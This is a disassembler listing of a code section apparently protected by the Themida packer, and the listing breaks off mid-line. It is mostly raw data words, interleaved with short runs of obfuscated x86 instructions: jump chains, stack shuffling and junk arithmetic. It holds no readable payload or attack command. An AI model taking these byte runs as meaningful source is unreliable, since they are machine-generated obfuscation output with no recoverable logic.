0F7h dd 0F79695DDh, 69E996D6h, 5600007Eh, 2D64E9h, 2DC18100h dd 21F7E0A4h, 34E959CFh, 58000079h, 0C380C300h, 0EAC380F6h dd 0E9C0B60Fh, 6BBDh, 51D831ADh, 3E004AB9h, 5E9C118h, 0BD22E9h dd 56DD8700h, 2EB56850h, 89581175h, 35C8E9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551BFE: ; CODE XREF: Themida_:00559FFAj mov [esp], eax push esp mov eax, [esp] jmp loc_55831E ; --------------------------------------------------------------------------- dw 8968h dd 89000068h, 4812424h, 424h, 0F3F8E900h, 0EB28FFFFh, 378BE9h dd 48B6600h, 0C7685024h, 5400005Ah, 12E54E9h, 24148700h dd 0BFA3E9h, 6EBE5600h, 460A4C33h, 233FF681h, 0DEF778FDh dd 0C555E9h, 9AE95E00h, 810000ABh, 1EAh, 6E2C100h, 8108E2C1h dd 263972C2h, 72F28118h, 210F5CF8h, 0E8C15AD0h, 51C83108h dd 0D5E95954h, 52000020h, 0F9685A54h, 89000026h, 3DBB241Ch dd 81704E54h, 4E5439EBh, 0CF43E970h, 4BD0000h, 1000000h dd 5E95DEFh, 5100011Eh, 4B9h, 0E019E900h, 0EC830000h, 7F20E904h dd 0BAB00000h, 345AF028h, 0ACE3E9C7h, 0F7810000h, 0B4DAD817h dd 8904EC83h, 0CFE9241Ch, 810000E1h, 0E764BFC7h, 725BE926h dd 0C7810000h, 4701749Eh, 0DB67E947h, 6EBB0000h, 814E690Eh dd 8D186CE3h, 7EBC133h, 1466F381h, 0BD5575F5h, 8A0EF98Bh dd 1333C381h, 2FE92A1Ch, 31000067h, 1A69E9E8h, 0EBC10000h dd 6BE38106h, 0C1348727h, 0F38104E3h, 6216B2h, 565BDE29h dd 42474FFh, 5E2434FFh, 4C481h, 48F0000h, 24248B24h, 24148966h dd 7CCAE9h, 24148900h, 278268h, 24048900h, 22BE9h, 0BD555F00h dd 499E65DAh, 951AE9h, 71CE8100h, 4E73DE59h, 0B8EE814Eh dd 29D0E9AFh, 2050E9F1h, 51570001h, 7E310DB9h, 0E9D9F77Ch dd 0FFFFF20Ah, 4C4835Ah, 10AB8E9h, 0C6815800h, 0D29CEC93h dd 685EF001h, 36BCh, 0E9241489h, 11E87h, 224B68h, 48F5400h dd 4B85024h, 0E9000000h, 5018h, 0BB241C89h, 343BDD2Dh dd 32BFBD55h, 0BF5756A7h, 4792753Dh, 7C85CF81h, 0F8E963D6h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551DDF: ; CODE XREF: Themida_:0055C0B3j shr edx, 5 shl edx, 5 add edx, 1 jmp loc_55DD4A ; --------------------------------------------------------------------------- db 5Ah, 89h, 0FAh dd 81243C8Bh, 4C4h, 81FA0100h, 4ECh, 240C8900h, 0D80E9h dd 4EC8300h, 13849E9h, 7DBF5700h, 8129E84Eh, 6027F8EFh dd 81DFF76Fh, 0E357E6C7h, 5FF889EAh, 4EC81h, 5AE90000h dd 0D3FFFFEEh, 0E99C2404h, 133DBh ; --------------------------------------------------------------------------- loc_551E3C: ; CODE XREF: Themida_:00562244j mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax jmp loc_560665 ; --------------------------------------------------------------------------- dw 0C083h dd 24048704h, 683FE9h, 6DE95E00h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551E63: ; CODE XREF: Themida_:005566D9j add esi, edx jmp loc_556202 ; --------------------------------------------------------------------------- aRfhSk db 'Rfh[,ékź',0 align 4 loc_551E74: ; CODE XREF: Themida_:0055B954j sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_55F74E ; --------------------------------------------------------------------------- aSsje db 'Sé ',0 dw 8100h dd 0E43F91C2h, 9539E910h, 0ED810000h, 8BF3020h, 0F7E9FD01h db 3, 1, 0 ; --------------------------------------------------------------------------- loc_551EA3: ; CODE XREF: Themida_:00558332j push 0E4FC6C1Eh pop edx jmp loc_5570CA ; --------------------------------------------------------------------------- dw 0C381h dd 2F4C11E4h, 8102E3C1h, 177CF1CBh, 8E3C172h, 481FE9h dd 4C28100h, 81000000h, 4C2h, 24148700h, 62AE9h db 0 ; --------------------------------------------------------------------------- loc_551ED9: ; CODE XREF: Themida_:0055281Ej push 52E8h mov [esp], ebx push eax push ecx mov ch, dl push edx mov dh, ch mov al, dh jmp loc_55A7C2 ; --------------------------------------------------------------------------- db 50h dd 405E089h, 83000000h, 48704E8h, 5285E924h, 15B0000h dd 42E95DEAh, 660000C4h, 6968665Bh, 1781E90Dh, 0F3800001h dd 0AEB802Eh, 0D800C804h, 285BC82Ch, 51C72CD8h, 5263E9h dd 4C68100h, 51000000h, 417038B9h, 5E9C144h, 0F1814149h dd 2220B85h, 8759CE01h, 0C15C2434h, 0DFF703EFh, 0EB5FC781h dd 0F9890611h, 0C199E9h, 0C2ED8100h, 0E90F9235h, 0C30Ch dd 3996E945h, 815B0000h, 0E760D0EBh, 81FB294Fh, 0E760D0C3h dd 243C8B4Fh, 0E904C483h, 2017h, 8B2434FFh, 30E92414h dd 50FFFFF8h, 405E089h, 51000000h, 4B9h, 59C82900h, 0E9240487h dd 727Ch, 3F55E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551FB2: ; CODE XREF: Themida_:00556CDCj add ebx, 722EE0A8h add ebp, 1EB25EA9h add ebp, 5E97563Dh add ebp, ebx jmp loc_565A3C ; --------------------------------------------------------------------------- db 81h dd 0D13196F5h, 5DE98966h, 45CEF181h, 0BE562783h, 77ED25C1h dd 8107E6C1h, 8573B8C6h, 2E6C15Dh, 47CEE81h, 35E94040h dd 890000BEh, 4C681E6h, 83000000h, 348704C6h, 0E9515C24h dd 3000h ; --------------------------------------------------------------------------- loc_55200C: ; CODE XREF: Themida_:005620B2j mov ebp, [esp] jmp loc_55E3EE ; --------------------------------------------------------------------------- loc_552014: ; CODE XREF: Themida_:0055B560j pop esp push ebp push esi jmp loc_555D9B ; --------------------------------------------------------------------------- loc_55201C: ; CODE XREF: Themida_:00553BF5j mov ebx, 28h sub ebx, 136F4FE2h add ebx, edi jmp loc_558288 ; --------------------------------------------------------------------------- dw 48Fh dd 4EC8324h, 0B9240C89h, 4, 4244C01h, 24348B59h, 10191E9h dd 4CEB800h, 0C529363Ch, 5DE80158h, 8904EC83h, 64BB241Ch dd 29562B2Ah, 34FF5BD8h, 24148B24h, 1A51E9h, 0A4EB8100h dd 0E9452848h, 0FFFFF6EEh, 87242C89h, 0E3E92414h, 2900007Ah dd 0AB2D5AD5h, 2D6A123Bh, 66624898h, 9805E801h, 0E9666248h dd 0B9CFh, 83241C8Bh, 48704C4h, 8B665C24h, 0C483240Ch dd 1A91E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5520B2: ; CODE XREF: Themida_:00557AA6j add esp, 4 xor esi, 364A4E30h mov edx, esi jmp loc_5512C1 ; --------------------------------------------------------------------------- db 81h, 0CFh, 16h dd 0C12F3054h, 0EFC104EFh, 13C78104h, 14F0309h, 0C6E95FFBh dd 0F700009Ah, 207AE9D1h, 6F290000h, 4819E920h, 0E95F0000h dd 0E215h ; --------------------------------------------------------------------------- loc_5520F4: ; CODE XREF: Themida_:005654CFj xor ebx, edi pop edi or edi, ebx pop ebx not edi xor edi, 80E049h and eax, edi push dword ptr [esp] jmp loc_55B656 ; --------------------------------------------------------------------------- dd 0FFFFEA81h, 0B850FFFFh, 194D016Dh, 0E958C231h, 0F048h dd 0E9C18966h, 5CD2h, 1144BFBBh, 0E9DBF71Eh, 0B3A6h, 327D5435h dd 4D25357Eh, 0E2E95A48h, 550000D3h, 0CCC5E9h, 4875900h dd 0EC835C24h, 240C8904h, 0D9BE9h db 0 ; --------------------------------------------------------------------------- loc_552159: ; CODE XREF: Themida_:00553FBFj xor ebp, 1C98C7h jmp loc_5541CC ; --------------------------------------------------------------------------- loc_552164: ; CODE XREF: Themida_:0055C5F5j add eax, 7BC02B91h sub eax, 8880DDCh add eax, 62A2103Eh pop edx add eax, 4 xchg eax, [esp] mov esp, [esp] movsx ecx, al push 39AAh mov [esp], ecx jmp loc_550420 ; --------------------------------------------------------------------------- aB0unaSe db 'Ă0ă)Ýé Ĺ',0 align 2 dw 0B951h dd 308A34B9h, 8244C29h, 242C8B59h, 0E904C483h, 0FFFFE270h ; --------------------------------------------------------------------------- loc_5521B0: ; CODE XREF: Themida_:005584E9j not dword ptr [esp] pop eax xor eax, 0A47D573Ah sub edx, eax pop eax jmp loc_55947A ; --------------------------------------------------------------------------- dd offset dword_582A68 align 2 dw 2C89h dd 9136824h, 24890000h, 24048324h, 0E9515D04h, 1BAFh, 0E9028F66h dd 49D2h, 2BEEBF57h, 0CF815721h, 18263805h, 0CE9EFD1h dd 8900012Dh, 0E954243Ch, 10Bh, 24048B66h, 7EA668h, 240C8900h dd 0E904EC83h, 0FFFFF26Fh ; --------------------------------------------------------------------------- loc_552214: ; CODE XREF: Themida_:005523EFj mov ebp, esi jmp loc_55C350 ; --------------------------------------------------------------------------- db 35h dd 0ABAFF43Fh, 0E958C301h, 0A2B2h, 35D8F75Ah, 0F4D3DBAAh dd 0E9E9C131h, 33000136h, 248B2414h, 0C8B6624h, 0B0EBE924h dd 2C890000h, 0E3895324h, 0FE71E9h, 87F68100h, 0F7652F0Ah dd 76BA52DEh, 0E903AD3Ah, 9A23h ; --------------------------------------------------------------------------- loc_552264: ; CODE XREF: Themida_:00561F1Bj xor ecx, eax push 786Dh mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 6342h mov [esp], ecx jmp loc_5531A8 ; --------------------------------------------------------------------------- db 29h, 0CEh, 59h dd 0BB53C601h, 711F42B8h, 0E516E94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522A2: ; CODE XREF: Themida_:00561430j push ebp mov ebp, 77D23EE0h push edx jmp loc_55354A ; --------------------------------------------------------------------------- dw 0C481h dd 4, 685AD701h, 7E61h, 0CD10E9h, 65E95000h, 5C00000Fh dd 8904EC83h, 2BB241Ch, 57000000h, 3B10DEBFh, 5FF80137h dd 0DE2DD801h, 5B373B10h, 2474FF50h, 24048B04h, 8F04C483h dd 0B8E92404h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522F7: ; CODE XREF: Themida_:005639E1j mov [esp], esp jmp loc_55B08C ; --------------------------------------------------------------------------- db 66h dd 665AD029h, 0D2E9D801h, 5F00005Ah, 4C781h, 0B9510000h dd 2B7601E9h, 8107E9C1h, 0C3560EE1h, 17E1810Ch, 81527D35h dd 4ECh, 24348900h, 6DEAE9h, 4C48100h, 51000000h, 0F18059B1h dd 0E2E950E5h, 3300005Dh, 60E92414h, 5A00012Dh, 12439E9h db 0 ; --------------------------------------------------------------------------- loc_552355: ; CODE XREF: Themida_:005627FEj add edi, 0CCDAE9B3h mov edx, edi pop edi jmp loc_55C56A ; --------------------------------------------------------------------------- db 29h dd 34FF245Fh, 0C4815B24h, 4, 4EC81h, 1C890000h, 0E95B5424h dd 0BA96h, 3456E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552386: ; CODE XREF: Themida_:005533D8j sub ebx, ebp pop ebp jmp loc_5610ED ; --------------------------------------------------------------------------- dw 0F766h dd 0E99C241Ch, 0FFFFE088h, 0A2CCE95Bh, 0C3010000h, 0E9FFE956h dd 8F5C0000h, 0E95C2404h, 4B0Bh, 0E953D2F7h, 0BDDEh, 33241431h dd 248B2414h, 0EBEE924h db 1, 0 ; --------------------------------------------------------------------------- loc_5523C6: ; CODE XREF: Themida_:0055FC47j push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esi mov esi, 80h jmp loc_552214 ; --------------------------------------------------------------------------- dd 0E4C0E94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5523FA: ; CODE XREF: Themida_:00552415j mov eax, 73E01CCAh inc eax sub eax, 73E01CC7h sub edi, 22DE353Ch add edi, eax jmp loc_554B3E ; --------------------------------------------------------------------------- loc_552412: ; CODE XREF: Themida_:005608A2j mov [esp], eax jmp loc_5523FA ; --------------------------------------------------------------------------- dw 148Bh dd 4F03E924h, 0CA810000h, 2602573Ah, 85C28142h, 1589C28h dd 0C3835AD3h, 241C8704h, 8961E9h, 4C48100h, 33000000h dd 1C31241Ch, 241C3324h, 5224248Bh, 61D5E9h, 0C8B6600h dd 30F26824h, 1C890000h, 505B5424h, 4B8h, 58C30100h, 0F026E955h dd 3C870000h, 0A9E95C24h db 2Ch, 1, 0 ; --------------------------------------------------------------------------- loc_55247B: ; CODE XREF: Themida_:00562CF8j mov edi, edx push dword ptr [esp] pop edx add esp, 4 push ecx push esi jmp loc_564AC5 ; --------------------------------------------------------------------------- aUss db 'Ué',0 align 4 dd 0E96CF280h, 0B129h, 8904EC83h, 5D54242Ch, 0D9BE5650h dd 0E9501542h, 927Fh, 24048B66h, 1FCB68h, 24048900h, 0B951E089h dd 6BDE637Dh, 380E981h, 0E9410246h, 1F06h ; --------------------------------------------------------------------------- loc_5524D0: ; CODE XREF: Themida_:00552BEFj push 164Fh mov [esp], ebx push edi mov edi, 4050B2Fh mov ebx, 40E007A2h xor ebx, edi jmp loc_55CC1F ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 81000000h, 4C3h, 74FF5300h, 7CE90424h, 5C0000B4h dd 0E8FE9h db 0 ; --------------------------------------------------------------------------- loc_552509: ; CODE XREF: Themida_:005643B2j push eax mov eax, esp add eax, 4 jmp loc_558603 ; --------------------------------------------------------------------------- dw 0D15Ch dd 13BE9EFh, 0C2810000h, 10852FADh, 2C5C68h, 24348900h dd 3230E3BEh, 5EF22977h, 0C281CA01h, 773230E3h, 67BDE9h dd 240C8900h, 0A817E9h, 24148B00h, 4C481h, 87570000h, 0DDF7242Ch dd 0E9242C87h, 0AEF4h, 9D1C77FFh, 19665866h, 0E99C2404h dd 0FFFFDEB0h, 68240C89h, 344h, 1B41E9h, 8B666400h, 88686602h dd 489664Ch, 0DE92E924h, 0C328FFFFh, 0E90FEB80h, 0FFFFF71Ah dd 4C481h, 0C6810000h, 4, 1738E9h, 48F5F00h, 6CC2E924h dd 0E3800000h, 0DECEE91Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5525BA: ; CODE XREF: Themida_:0055413Cj mov edx, 57E73E10h add edx, 690664B7h or edx, 539D7737h neg edx xor edx, 2C02080Dh add ebp, edx pop edx jmp loc_55609F ; --------------------------------------------------------------------------- loc_5525DB: ; CODE XREF: Themida_:0056599Bj xor [esp], edx xor edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_551544 ; --------------------------------------------------------------------------- dw 8B59h dd 89502404h, 405E0h, 0C0830000h, 24048704h, 32E3E95Ch dd 0A9680001h, 89000017h, 61BF243Ch, 57102757h, 5F2414F7h dd 0FFFFEF81h, 8BE9FFFFh, 89FFFFF6h, 26E958C3h, 890000D8h dd 11682404h, 89000020h, 0EC812424h, 4, 0D63CE9h, 0FAC78100h dd 1CF8078h, 0E9505FF8h, 236h ; --------------------------------------------------------------------------- loc_552668: ; CODE XREF: Themida_:005504B9j add ecx, edi pop edi xchg ecx, [esp] pop esp loc_55266F: ; CODE XREF: Themida_:loc_561A1Ej push ebx push dword ptr [esp] push dword ptr [esp] jmp loc_560762 ; --------------------------------------------------------------------------- loc_55267B: ; CODE XREF: Themida_:00564A7Cj mov [esp], ebx push ebp mov ebp, 396107AFh mov ebx, 72CB72FBh sub ebx, ebp pop ebp or edi, ebx pop ebx not edi xor edi, 0B130EFE1h sub edx, edi mov edi, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_55F228 ; --------------------------------------------------------------------------- db 83h, 0EFh, 4 dd 6ED3E9h, 81FD0100h, 6575E4EDh, 0BAE95F74h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5526BF: ; CODE XREF: Themida_:0055E24Fj add ecx, 543570B9h sub ecx, ebp sub ecx, 543570B9h jmp loc_56184F ; --------------------------------------------------------------------------- dw 22B6h dd 0E972C680h, 1321Ah ; --------------------------------------------------------------------------- loc_5526DC: ; CODE XREF: Themida_:005547CAj push 656A65CFh jmp loc_55617F ; --------------------------------------------------------------------------- aUs db 'Ué×|',0 align 4 dd 143DE955h, 5E5E0001h, 14F7574Fh, 243C8B24h, 0F704C483h dd 95B850D7h, 549DF45h, 2894FEDDh, 5158C721h, 0EFEE9h dd 48B6600h, 2A67E924h, 0E6890000h, 0E52BE9h, 4B900h, 0B9510000h dd 587A7299h, 8105E9C1h, 0DE257AE9h, 0E9814902h, 905C436Dh dd 8159CF01h, 9A0D89C7h, 51CF0121h, 0E23760B9h, 8E9C14Ah dd 2B52C181h, 0CF29214Fh, 0BA525059h, 138A77C1h, 0D596E955h dd 24890000h, 4BB5324h, 1000000h, 5B04245Ch, 4EC835Fh dd 0E9241489h, 0FE9Dh, 24048B66h, 143468h, 241C8900h, 0C381E389h dd 4, 251368h, 24048900h, 4BB53h, 0D8890000h, 8BC3295Bh dd 0C4812404h, 4, 31241C33h, 1C33241Ch, 0D5E95C24h, 89000126h dd 74FF241Ch, 34FF0424h, 0C4835B24h, 24048F04h, 6824248Bh dd 7470h, 0BB241C89h, 4DFD525Ch, 36685752h, 5F36270Ch dd 41D2EF81h, 0BE565138h, 7C044F04h, 4E49F681h, 0FFE95787h dd 810000A9h, 4C4h, 40500h, 4870000h, 0C36AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552816: ; CODE XREF: Themida_:0055C03Dj push 7443h mov [esp], eax jmp loc_551ED9 ; --------------------------------------------------------------------------- loc_552823: ; CODE XREF: Themida_:00559DA0j mov esp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55282B: ; CODE XREF: Themida_:00556EB6j push ebp push 2 mov ebp, [esp] add esp, 4 jmp loc_565B11 ; --------------------------------------------------------------------------- dd 4C181h, 0C1830000h, 240C8704h, 2434335Ch, 7AB4E9h, 246C8100h dd 35DBE04h, 0AEA8E939h, 0E0C10000h, 0B8505308h, 25FB42C6h dd 12369E9h, 8C2C00h, 2C8C04F8h, 30E95B73h, 89000058h dd 2434FFF7h, 4C4815Eh, 0E9000000h, 0FA3Ah ; --------------------------------------------------------------------------- loc_55288C: ; CODE XREF: Themida_:00558F67j add [esp+4], edi mov edi, [esp] add esp, 4 sub [esp], eax jmp loc_55956B ; --------------------------------------------------------------------------- dw 74FFh dd 0F5E90424h, 0F6000078h, 0F6C6FEDEh, 0D6C680DEh, 0B3E9F728h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5528B7: ; CODE XREF: Themida_:0055539Fj xchg esi, [esp] jmp loc_55BE88 ; --------------------------------------------------------------------------- aL4SE db '4$é{e',0 dw 8700h dd 5EE92404h, 660000EFh, 6824048Bh, 2BDDh, 0E9243C89h dd 215Bh, 0DE0DE951h, 489FFFFh, 3069B824h, 5405EAAh, 0FFFFFFFFh dd 306DB951h, 0C8315EAAh, 0E9C50159h, 967Dh, 68240C8Bh dd 4913h, 68243489h, 8D1h, 83242489h, 0E9042404h, 0DDE6h dd 3160C181h, 0C7E91947h, 5EFFFFDEh, 16EC68h, 24048900h dd 5656857h, 815F795Fh, 9364D8F7h, 5FF8897Ch, 58992D40h dd 0C229E38Fh, 0EAEA8158h, 811AF05Ch, 6154ABEEh, 87EE8150h dd 110826Ch, 87C681D6h, 0E910826Ch, 0F0C0h, 8704C283h dd 0E95C2414h, 11626h ; --------------------------------------------------------------------------- loc_552978: ; CODE XREF: Themida_:00563E1Dj push ebx mov ebx, esp push esi mov esi, 95D5234h neg esi push edi mov edi, 27BA6316h add esi, edi pop edi push edi mov edi, 580317D1h and edi, 63627DFAh push eax jmp loc_550743 ; --------------------------------------------------------------------------- dw 0F7B8h aW5tzt@s db 'wŢ',0Ah db '5tZâ#@éŐĂ',0 align 2 dw 148Bh dd 4C48124h, 4000000h, 2CD82832h, 72816832h, 14890000h dd 0B6525324h, 2888B78Eh, 0FA885AF7h, 81DAF65Bh, 4ECh dd 0E66EE900h, 8B66FFFFh, 8956240Ch, 4EC81E6h, 0E9000000h dd 10C76h, 0B9E9DA87h, 5F000090h, 0F7E9E901h, 550000F4h dd 6653F868h, 0EDC15D08h, 3BBE5604h, 29008665h, 0C6815EF5h dd 559C582Eh, 0EE81EE01h, 559C582Eh, 0E9242C8Bh, 685Dh dd 0B3535A66h, 0B2526640h, 65ADE9EBh, 515A0000h, 2552E9h dd 0AAC78100h, 0E9338B1Ah, 0AD1h, 17744EBAh, 5AD1011Dh dd 2694E9h, 24048F00h, 76E9D3F7h, 0B7000022h, 5BFA2085h dd 0FEFFC280h, 0A9EA80C2h, 50E9D028h, 0C1000106h, 0EF8104EFh dd 23D34AFh, 3C8BFD89h, 4C48324h, 312BE9h, 5DB95100h, 8349B468h dd 48904ECh, 383DB824h, 44812534h, 3B2F0824h, 31E926A4h dd 59000030h, 56E96E2Ch, 5E0000A9h, 8B242C87h, 0E9F62424h dd 0A03EE9h, 2434FF00h, 4C4835Dh, 31240433h, 4332404h dd 24248B24h, 0E92434FFh, 0D1C6h, 8BC5885Bh, 9E92404h dd 48FFFFEAh, 9F50E9h, 54DABF00h, 0DF29598Ch, 0E9FE015Bh dd 0F01h, 58C70159h, 39C4E9h, 0D1015800h, 0C8B2989h, 4C48124h dd 5D000000h, 5B385A29h, 59EF68h, 24348900h, 9A80E9h, 320C6800h dd 34890000h, 0C883E924h, 77890000h, 0D6A2E920h, 0C3810000h dd 4, 0E904EB83h, 0FFFFDAD5h, 3168565Bh, 0E9000061h, 7BFEh dd 565FF901h, 4BEh, 0C2E98100h, 0E946D856h, 0BC2Eh, 8158C701h dd 4D7944C6h, 0E9FE0132h, 2626h, 2BC668h, 8218E900h, 0C4810000h dd 4, 12FC6E9h, 0BEE95300h, 8100009Dh, 540026C1h, 0BDEE81C6h dd 2977E23Ah, 0BDC681CEh, 0E977E23Ah, 12694h, 8159CA31h dd 8A3DACEFh, 0C3E95624h, 5A000061h, 0E958C288h, 8FBFh dd 16E6B951h, 0E18104E3h, 607F108Eh, 9D8CE9h, 241C8B00h dd 0E904C483h, 354Dh, 104C483h, 2434FFC6h, 6D7EE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552BEA: ; CODE XREF: Themida_:00562A38j mov ecx, 600F5C72h jmp loc_5524D0 ; --------------------------------------------------------------------------- dd 4B9h, 19A8E900h db 1, 0 ; --------------------------------------------------------------------------- loc_552BFE: ; CODE XREF: Themida_:00564E16j sub dh, 0E5h jmp loc_550DF6 ; --------------------------------------------------------------------------- dw 0E9ADh dd 67FCh ; --------------------------------------------------------------------------- loc_552C0C: ; CODE XREF: Themida_:00553BE2j shr ebp, 5 jmp loc_561959 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0BF30h ; --------------------------------------------------------------------------- loc_552C1C: ; CODE XREF: Themida_:00553A7Aj xchg ecx, ebp add ebp, 79756F6Ch xor ebp, edi xor edi, ebp xor ebp, edi not edi xor ebp, edi xor edi, ebp xor ebp, edi sub esp, 4 mov [esp], ebx mov ebx, 169705F0h add ebp, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebx, [esp] add esp, 4 pop ebp and eax, ebx jmp loc_560256 ; --------------------------------------------------------------------------- dd 8704E983h, 248B240Ch, 440FE924h, 0B3BE0000h, 0F774E76Eh dd 0EB2AE9DEh, 0C281FFFFh, 33F71A71h, 2414335Eh, 33241431h dd 8BE92414h, 250000F4h, 73783B49h, 0F708E8C1h, 1F092DD8h dd 0EC81D2FDh, 4, 0E9241489h, 1091Dh, 83243C8Bh, 0BEE904C4h dd 810000BDh, 0E52743EEh, 35E95659h, 6600001Ah, 50241C89h dd 0D778E9h db 0 ; --------------------------------------------------------------------------- loc_552CC9: ; CODE XREF: Themida_:0055D17Aj push edx sub esp, 4 mov [esp], ebx mov bh, cl mov dl, bh pop ebx mov bh, dl pop edx push edx mov dh, bh jmp loc_55168A ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 0E9000000h, 0FFFFFF6Ch, 0E16360BAh, 94E95576h dd 5F000111h, 5C24048Fh, 81240C89h, 4ECh, 241C8900h, 7A95E9h dd 0C3316600h, 66C0B70Fh, 665FFF68h, 0E9240489h, 0FFFFD6FCh dd 348BF031h, 54E95524h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552D2F: ; CODE XREF: Themida_:00558292j add esp, 4 or eax, 63633E0Ch sub esp, 4 mov [esp], edx jmp loc_563BF3 ; --------------------------------------------------------------------------- loc_552D42: ; CODE XREF: Themida_:00554FB9j sub ebx, 476B7169h add ebx, esi add ebx, 476B7169h jmp loc_5514BF ; --------------------------------------------------------------------------- db 1, 0F7h, 5Eh dd 0B2BD5556h, 810AD651h, 0C45E28CDh, 6AE5811Fh, 8127956Fh dd 8E14A1C5h, 7E90E93Bh, 0D0310000h, 58C5895Ah, 34FFEE01h dd 0C4815D24h, 4, 5B91BA52h, 4AE96FFDh, 56000005h, 872B5668h dd 68B8E93Ah, 55510000h, 4BDh, 5DE98900h, 0EA02EE2Dh, 83C80106h dd 96E904ECh, 0E900012Ah, 0FFFFD664h, 0C681EE29h, 56625B3h dd 343BEE81h, 8B5D0F7Ah, 89562414h, 0DB67E9E6h, 0C481FFFFh dd 4, 0FFD63FE9h, 4C481FFh, 53000000h, 4BBh, 5BDF0100h dd 2474FF57h, 243C8B04h, 80F5E9h, 240C8900h, 0C1815954h dd 4, 7296E9h db 0 ; --------------------------------------------------------------------------- loc_552E0D: ; CODE XREF: Themida_:0055C8C2j mov [esp], ecx mov ecx, 4BEA415Bh add ecx, 8880E80h push 0 sub [esp], ecx jmp loc_559E7D ; --------------------------------------------------------------------------- dd 0BB241C89h, 68D2324Ah, 92E95953h, 83000051h, 5E042404h dd 0FFFBBEE9h, 68665BFFh, 896632CCh, 0DEE92414h, 8B000048h dd 0C481242Ch, 4, 4BF57h, 0FE010000h, 2434875Fh, 11A2AE9h dd 68C98000h, 84C180h, 9537E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552E76: ; CODE XREF: Themida_:00559041j add eax, ecx pop ecx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi jmp loc_55C1E1 ; --------------------------------------------------------------------------- db 83h, 0EFh, 4 aZSU db '<$é[U',0 align 10h loc_552EA0: ; CODE XREF: Themida_:00561872j mov al, 0C7h jmp loc_557833 ; --------------------------------------------------------------------------- db 0B9h dd 353D39DEh, 5D0DF181h, 5EE95B3Fh db 0E1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552EB7: ; CODE XREF: Themida_:0055C665j add esi, 4 add esi, 4 push esi push dword ptr [esp+4] jmp loc_558481 ; --------------------------------------------------------------------------- aZS db '<$éÝ[',0 align 2 aTbRoiSc db 'ŃâęŕOi!éçÓ',0 dw 8300h dd 1C8904ECh, 2474FF24h, 241C8B04h, 0E904C483h, 0FFFFFB61h dd 0D57B7CB9h, 8BC80177h, 0C481240Ch, 4, 79F368h, 243C8900h dd 0A884E9h, 0E9EB0100h, 10596h, 5704C483h, 365283BFh dd 1DE9813Bh, 16C8204h, 4EC81F9h, 89000000h, 1DB82404h dd 16C8204h, 575F58C1h, 0F8E9E789h, 81000098h, 0A439C0EAh dd 6EBF575Bh, 815BF478h, 4ECh, 24048900h, 7FA0E9h, 507CB600h dd 852CE8B0h, 788EE9h, 24043300h, 8B24248Bh, 6E682414h dd 8900005Eh, 0FF542414h, 815A2434h, 4C4h, 4C28100h, 81000000h dd 4ECh, 240C8900h, 4B9h, 0F580E900h, 0EB81FFFFh, 126B0B51h dd 0EC81EB01h, 4, 9793E9h, 4E95000h, 0C100003Ch, 0BD5506EFh dd 5FB765B6h, 3257C781h, 0EF0140A7h, 3257EF81h, 0F75D40A7h dd 68DFh, 0BF570000h, 659963FDh, 4247C01h, 10C5E9h db 0 ; --------------------------------------------------------------------------- loc_552FE5: ; CODE XREF: Themida_:0055EDE9j push 2D2Eh mov [esp], edx xchg eax, [esp] push eax not dword ptr [esp] pop eax xchg eax, [esp] push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push 416Eh mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_550827 ; --------------------------------------------------------------------------- dw 48Bh dd 6FF76824h, 0C890000h, 0D3E95424h, 890000B0h, 93682404h dd 8900007Ah, 0E9240Ch db 0F5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55303B: ; CODE XREF: Themida_:0055F29Dj xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 213632ADh inc ecx or ecx, 2C8A47DEh and ecx, 7E593DF1h shl ecx, 5 or ecx, 4A0A43EAh push edx mov edx, 2E88048Dh not edx neg edx xor edx, 30223755h and edx, 2DD0471Eh jmp loc_5511BB ; --------------------------------------------------------------------------- dd 4C481h, 0FAE90000h, 810000B6h, 4C4h, 0FFD92100h, 1C8B2434h dd 4C48324h, 0B136E950h, 81E90000h, 59FFFFD3h, 0F20DE953h dd 89660000h, 0C2E92414h, 0C1000117h, 0F68106EEh, 422A1E2Ch dd 15EF301h, 2DC5E9C3h, 525B0000h, 42474FFh, 24048F5Ah dd 5624248Bh, 0C681E689h, 4, 3304EE83h, 34312434h, 24343324h dd 241C895Ch, 39242C81h, 58008924h, 81E68956h, 4C6h, 0A575E900h dd 0C6810000h, 4, 4C681h, 34870000h, 48F5C24h, 0CE95C24h dd 500000E1h, 11B50E9h, 3BC38100h, 